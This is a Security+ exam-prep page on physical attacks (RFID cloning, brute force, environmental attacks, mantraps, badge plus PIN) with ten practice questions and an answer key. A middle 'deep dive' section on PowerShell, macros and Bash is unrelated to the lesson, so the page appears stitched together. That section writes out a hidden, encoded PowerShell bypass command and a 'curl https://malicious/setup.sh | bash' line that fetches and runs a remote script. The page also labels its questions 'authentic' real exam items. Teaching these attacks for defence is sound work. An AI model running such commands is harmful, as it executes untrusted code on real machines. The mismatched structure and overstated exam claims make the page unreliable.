COMPTIA SECURITY+ SY0-701 | DOMAIN 2 · THREATS, VULNERABILITIES, AND MITIGATIONS (22%)

Security+ 2.4 · Physical Attacks

Mestre CyberSec · **Lesson 2.4 — Physical Attacks** (4:04) · Assistir Vídeo no YouTube ↗ · Treino Interativo: edusouzamarques.github.io/cybersec

Executive Lesson Summary: Ataque físico: brute force física (cortar cadeado, força porta); RFID cloning (clonar badge NFC); environmental (pular cerca, furar parede). Defesa: mantrap/vestibular control, badge + PIN (2 fatores físico), câmeras, alarmes, monitorar log RFID com alarme de horário incomum.

💡 Key Exam Highlights & Critical Concepts

- RFID cloning com um device de $500 copia um badge (proximity)
- Defesa física: mantrap, badge com PIN (2-factor), câmeras+alarmes

🎯 Exam Tips & Typical CompTIA Scenarios

- 'clones an access badge' = RFID cloning

🚨 Beyond the Video: Official Exam Concepts, Protocols & Traps (Section 2.4 — Physical Attacks)

Why is this advanced coverage required for SY0-701?: Video lectures provide foundational concepts, but CompTIA tests practical engineering judgment and requires deep familiarity with the following protocols, acronyms, and operational nuances in this domain:

• Physical Brute Force (N/A)
A physical attack that uses direct force to bypass or break a control, such as cutting a lock, prying a door, or smashing a barrier.

⚠️ ***Exam Trap:*** *Se a questão descreve danos ou força contra fechadura, porta ou cerca, pense em brute force físico, não em hacking lógico.*

• RFID Cloning
Copying data from an RFID proximity badge or card to another device so the cloned credential can be used to gain physical access.

⚠️ ***Exam Trap:*** *'Clones an access badge' = RFID cloning. Badge de proximidade sem criptografia é vulnerável; defesa inclui badge com PIN e monitoramento de logs.*

• Environmental Attack (N/A)
A physical attack that bypasses perimeter controls via environmental weaknesses, such as jumping a fence, climbing over walls, or cutting through a wall.

⚠️ ***Exam Trap:*** *Cerca, muro, parede, telhado ou vegetação explorados indicam environmental attack; não confunda com controle de acesso lógico.*

• Mantrap (Access Control Vestibule) (N/A)
A small entry portal with two interlocking doors that allows only one person or group through at a time, preventing tailgating and piggybacking.

⚠️ ***Exam Trap:*** *Questões sobre impedir entrada não autorizada junto com funcionário autorizado pedem mantrap/access control vestibule.*

• Badge + PIN (Physical Two-Factor Authentication) (2FA)
Physical access control requiring something you have, such as a badge or token, and something you know, such as a PIN, providing two-factor authentication for entry.

⚠️ ***Exam Trap:*** *Se a defesa combina badge com PIN, é 2FA físico; só badge é fator único e pode ser clonado ou roubado.*

• **CCTV (Closed-Circuit Television)**
Video surveillance used to monitor, deter, and record physical activity for incident investigation and access control enforcement.

⚠️ ***Exam Trap:*** *Câmeras são detecção, dissuasão e evidência; não impedem fisicamente a entrada sozinhas.*

• **Alarm Systems (N/A)**
Sensors and alerting mechanisms that detect physical security events such as door breaches, motion, or unauthorized entry and notify responders.

⚠️ ***Exam Trap:*** *Alarmes detectam e notificam; para prevenir tailgating, combine com mantrap, câmeras e resposta.*

• **RFID Access Log Monitoring**
Reviewing RFID badge access logs and alerting on anomalies, such as unusual times or repeated denied attempts, to detect cloned or misused credentials.

⚠️ ***Exam Trap:*** *Log de RFID com horário incomum é gatilho para detectar clonagem de crachá; defesa é alerta e monitoramento, não apenas crachá físico.*

🏛️ Conceptual Deep Dive, Real-World Analogies & GRC Analysis

📌 Living off the Land (LotL) & LOLBins (LOLBas)

🏠 **Real-World Analogy:** Imagine a burglar breaking into an estate without carrying a crowbar, mask, or weapons in their backpack. They walk in empty-handed, head to the victim's own kitchen, grab a knife from the house's cutlery drawer, and use the homeowner's own garage tools to crack the safe. A neighbor glancing through the window only sees native household tools being operated. That is precisely what a Living off the Land (LotL) attack does: it relies on trusted, pre-installed administrative utilities (LOLBins like PowerShell, certutil, wmic, or curl) rather than downloading foreign malware binaries.

🔍 **Root Cause & Background:** Modern operating systems bundle powerful administrative utilities to facilitate system maintenance. Because these binaries are signed by Microsoft or OS vendors and inherently trusted by default, legacy signature-based antivirus solutions fail to flag or block their execution.

🛡️ **GRC Auditor Perspective:** Enforce application allowlisting and code integrity policies (AppLocker / Windows Defender Application Control - WDAC); mandate PowerShell Constrained Language Mode (CLM); and ingest process creation telemetry (Event ID 4688 with command-line auditing) and PowerShell Script Block Logging (Event ID 4104) into the central SIEM.

⚠️ **How CompTIA Tests This:** Trigger: 'attacker leverages built-in operating system binaries to download payloads and execute code while bypassing signature-based AV' -> Living off the Land (LotL) / LOLBins. Classic tools cited: certutil, PowerShell, wmic, bitsadmin, mshta.

📌 PowerShell & Execution Policy Bypass

🏠 **Real-World Analogy:** The PowerShell Execution Policy is not an armored bank vault door; it is merely a paper sign taped to a window reading: 'Please do not lean against the glass'. An attacker simply ignores the sign by appending `-ExecutionPolicy Bypass` to their command and walks straight through. The policy was never engineered as an impenetrable security boundary, but rather as an operational safety rail to prevent users from accidentally double-clicking unknown scripts.

🔍 **Root Cause & Background:** Microsoft explicitly documents that PowerShell Execution Policy is an operational safety control rather than a security boundary. Flags like `powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Enc` execute Base64-encoded instructions directly in volatile memory without ever touching the storage drive (fileless malware execution).

🛡️ **GRC Auditor Perspective:** Never accept 'Execution Policy: Restricted' as a sufficient security control during compliance audits. Mandate defense-in-depth: enforce AMSI (Antimalware Scan Interface), deploy WDAC, restrict PowerShell to Constrained Language Mode, and retain comprehensive Script Block logs for forensic accountability.

⚠️ **How CompTIA Tests This:** Trigger: 'security analyst detects PowerShell spawning with flags -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand'. CompTIA Trap: The exam tests whether Execution Policy is a security boundary; remember that it is trivial to bypass from the CLI and provides no defensive barrier against motivated adversaries.

📌 Malicious VBA Office Macros

🏠 **Real-World Analogy:** It is like receiving a certified mail envelope with a tamper seal on top reading: 'To view this confidential invoice, peel this sticker and unlatch your back window for the delivery courier'. The hurried employee clicks 'Enable Content' or 'Enable Editing'. By peeling the seal, the automated Visual Basic script embedded inside the document immediately drops a remote access payload or executes a ransomware dropper.

🔍 **Root Cause & Background:** Visual Basic for Applications (VBA) was designed to automate enterprise spreadsheets and documents, granting scripts direct operating system command execution capabilities. Attackers abuse social engineering via phishing lures (.docm/.xlsm) to entice users into dismissing application warning banners.

🛡️ **GRC Auditor Perspective:** Enforce Group Policy / Intune baselines that permanently disable macros in Office files originating from the internet (enforcing Mark of the Web - MOTW flags); mandate cryptographic code signing for vetted internal macros; and restrict macro permissions to approved accounting units.

> ⚠️ **How CompTIA Tests This:** Trigger: 'user opens an invoice attachment and clicks Enable Content, initiating an outbound connection to an unknown IP' -> Malicious VBA Macro. Primary mitigation: GPO blocking macros in files bearing Mark of the Web (MOTW).

📌 Bash Scripts & Linux Shell Malicious Automation

🏠 **Real-World Analogy:** It is like leaving a step-by-step instruction checklist on the desk for a courier: 'Go to the filing cabinet, photocopy the confidential roster, and dispatch it to courier box 502'. A malicious Bash script chains pre-installed utilities like `curl`, `wget`, `netcat`, and `crontab` in rapid succession. The Linux kernel executes each line without question because Bash is the authorized native shell interpreter.

🔍 **Root Cause & Background:** Linux production servers depend extensively on shell interpreters for deployment and maintenance. Threat actors exploit piping mechanisms (such as `curl -s https://malicious/setup.sh | bash`) to execute payloads directly in volatile RAM without saving artifacts to disk, establishing persistence via crontabs.

🛡️ **GRC Auditor Perspective:** Audit sudoers configurations to prevent command escalation; monitor crontab modifications across `/etc/cron*`; strip redundant shells, curl, and netcat from production containers; and enforce SELinux/AppArmor mandatory access controls.

> ⚠️ **How CompTIA Tests This:** Trigger: 'cron job configured to execute an external script piped directly into a shell interpreter (curl | sh)' -> Malicious Bash Scripting / Linux Living off the Land.

⚡ QUICK-REFERENCE EXAM CHEAT SHEET

Typical Exam Scenario / Practical Situation	Technical Concept & Target Answer
Attacker leverages built-in administrative tools like certutil and PowerShell to download files without installing third-party malware	**Living off the Land (LotL) / LOLBins**
PowerShell script executes despite system restrictions by supplying an argument flag to bypass execution safeguards	**Execution Policy Bypass (-ExecutionPolicy Bypass)**
Phishing email delivers an Office document prompting the user to click Enable Content to execute embedded automation routines	**Malicious VBA Macro**
Linux command downloads a remote script from the web and pipes it directly into an active shell interpreter without writing to disk	**In-Memory Bash Script Execution (curl | bash / Fileless)**
Security configuration that restricts PowerShell capabilities and prevents dangerous language primitives from executing	**PowerShell Constrained Language Mode (CLM)**
Windows security tag attached to files downloaded from the internet instructing Office applications to block macros by default	**Mark of the Web (MOTW)**

✅ Authentic Practice Questions (10 Real Exam Scenarios)

Scenario-based exam questions. Complete explanations and distractor analysis are provided in the answer key below.

QUESTION 1 · EXAM SCENARIO

An attacker stands near the employee entrance with a concealed NFC reader and captures the unique identifier from employees' RFID badges as they walk by. The badges currently unlock the lobby door by themselves. Which control most directly prevents a captured badge identifier from being used later to enter the building?

A) Add more CCTV cameras covering the entrance

B) Require employees to present their badge and enter a PIN at the door

C) Increase the RFID reader's read range to reduce failed reads

D) Ask employees to keep badges in their wallets while walking

QUESTION 2 · EXAM SCENARIO

A thief used bolt cutters to cut the padlock on a network closet door and stole a switch. The closet contains critical infrastructure and is in a low-traffic hallway. Which mitigation best addresses the physical brute-force attack?

A) Replace the padlock with a hardened lock and reinforced door assembly

B) Install a motion-activated light in the hallway

C) Require visitors to sign in at the front desk

D) Enable port security on the network switch

QUESTION 3 · EXAM SCENARIO

A warehouse perimeter uses a chain-link fence with barbed wire. Attackers throw a blanket over the barbed wire, climb the fence, and enter the yard at night. Which improvement best mitigates this environmental attack?

A) Upgrade the fence with anti-climb topping and maintain a clear zone around it

B) Install a badge reader on the warehouse loading dock

C) Require a PIN for all employee entrances

D) Increase CCTV recording retention from 7 to 30 days

QUESTION 4 · EXAM SCENARIO

Employees at a data center badge into the main entrance, but unauthorized people often follow closely behind through the same door. Which physical control is designed to enforce one-person-at-a-time entry?

A) Access control vestibule with interlocking doors

B) Visitor badge with a different color

C) CCTV camera aimed at the entrance

D) Emergency exit door with a crash bar

QUESTION 5 · EXAM SCENARIO

An employee's RFID badge is stolen at a coffee shop. The badge alone opens every door in the office, including the server room. Which change most directly prevents a stolen badge from granting access to the server room?

A) Require both the badge and a PIN for server room entry

B) Install a security camera inside the server room

C) Move the server room badge reader to the other side of the door

D) Enable logging of all badge access events

QUESTION 6 · EXAM SCENARIO

A security analyst reviews RFID access logs and sees an employee badge used at the research lab at 3:17 AM. The employee is on vacation and normally works 9:00 AM to 5:00 PM. Which detective control would best identify this suspicious event in near real time?

A) Configure RFID access log monitoring to alert on unusual access times

B) Reissue all employee badges every 90 days

C) Replace the lab door with a solid-core door

D) Add a turnstile at the main lobby entrance

QUESTION 7 · EXAM SCENARIO

After-hours intruders broke into a loading dock three times, but the company has no video evidence because the area is not recorded. Which control best supports both deterrence and post-incident investigation?

A) Install CCTV cameras covering the loading dock with retained recordings

B) Require badge plus PIN at the main office entrance

C) Deploy a mantrap at the data center entrance

D) Monitor RFID logs for unusual elevator access

QUESTION 8 · EXAM SCENARIO

A burglar cuts the telephone line to a small office before forcing the rear door. The alarm system cannot send notifications because its only communication path is the cut phone line. Which improvement best addresses this weakness?

A) Add cellular backup and tamper detection to the alarm system

B) Add more motion sensors inside the office

C) Replace the rear door knob with a deadbolt

D) Start retaining CCTV footage for 90 days

QUESTION 9 · EXAM SCENARIO

A shared office has a server rack protected only by a standard cabinet lock. An attacker pried the lock open with a screwdriver and stole a disk. Which mitigation best addresses this physical brute-force attack?

A) Replace the rack with a hardened cabinet and high-security lock

B) Encrypt the data on all server disks

C) Enable badge access logging for the office door

D) Install a privacy screen on the office window

QUESTION 10 · EXAM SCENARIO

An attacker enters a building by breaking through the drywall of a server room that shares a wall with a public hallway. The server room door has strong access controls, but the wall is ordinary drywall. Which mitigation best addresses this environmental attack?

A) Reinforce the wall with steel mesh or concrete and add vibration sensors

B) Require badge plus PIN at the server room door

C) Install a CCTV camera in the public hallway

D) Monitor RFID logs for badging outside business hours

ANSWER KEY & COMPREHENSIVE DISTRACTOR EXPLANATIONS

Question 1: Option B — Require employees to present their badge and enter a PIN at the door
Requiring a badge plus PIN creates physical two-factor authentication: the badge is something you have, and the PIN is something you know. A cloned badge alone is no longer sufficient to unlock the door. CCTV, longer read range, and concealing badges do not stop a cloned badge from being used for access.

Question 2: Option A — Replace the padlock with a hardened lock and reinforced door assembly
The attack was physical brute force against the lock and door. Replacing the padlock with a hardened lock and reinforcing the door increases resistance to cutting, prying, and forced entry. Lighting may deter but does not stop cutting. Visitor sign-in and port security do not protect the closet door.

Question 3: Option A — Upgrade the fence with anti-climb topping and maintain a clear zone around it
Climbing over the fence is an environmental perimeter attack. Anti-climb fencing, such as curved toppings or rotating spikes, combined with a clear zone and perimeter detection, makes climbing and approaching the fence much harder. Badge readers, PINs, and longer CCTV retention do not directly prevent fence climbing.

Question 4: Option A — Access control vestibule with interlocking doors
An access control vestibule, also called a mantrap, uses interlocking doors to allow only one person through at a time. It directly mitigates tailgating. A visitor badge, CCTV, and an emergency exit do not by themselves prevent someone from following an authorized person through a door.

Question 5: Option A — Require both the badge and a PIN for server room entry
Badge plus PIN is physical two-factor authentication. A stolen badge alone is not enough because the attacker also needs the PIN. CCTV may record the intrusion, moving the reader is security by obscurity, and logging helps detection but does not stop entry.

Question 6: Option A — Configure RFID access log monitoring to alert on unusual access times
Monitoring RFID access logs and alerting on unusual times or patterns can detect cloned, stolen, or misused badges quickly. Reissuing badges, door upgrades, and lobby turnstiles are useful but do not provide real-time detection of an anomalous badge use.

Question 7: Option A — Install CCTV cameras covering the loading dock with retained recordings
CCTV provides deterrence and creates recorded evidence for investigating physical intrusions. Badge plus PIN, mantraps, and RFID log monitoring protect or detect access at controlled entry points, but they do not record activity at the loading dock.

Question 8: Option A — Add cellular backup and tamper detection to the alarm system
Cellular backup gives the alarm an alternate path to report an intrusion when the phone line is cut. Tamper detection can alert when the alarm wiring or panel is interfered with. More sensors, a deadbolt, and CCTV retention help but do not solve the loss of alarm communications.

Question 9: Option A — Replace the rack with a hardened cabinet and high-security lock
The attack targeted the physical lock and cabinet. A hardened cabinet with a high-security lock resists prying and forced entry. Disk encryption protects data if a disk is stolen, but it does not prevent the physical theft. Logging and privacy screens do not protect the rack.

Question 10: Option A — Reinforce the wall with steel mesh or concrete and add vibration sensors
The attack bypassed the door by penetrating the wall. Reinforcing the wall with steel mesh, concrete, or other hardened materials makes drilling or breaking through much harder, and vibration sensors can detect attempts. Door controls, hallway CCTV, and RFID monitoring do not directly harden the wall.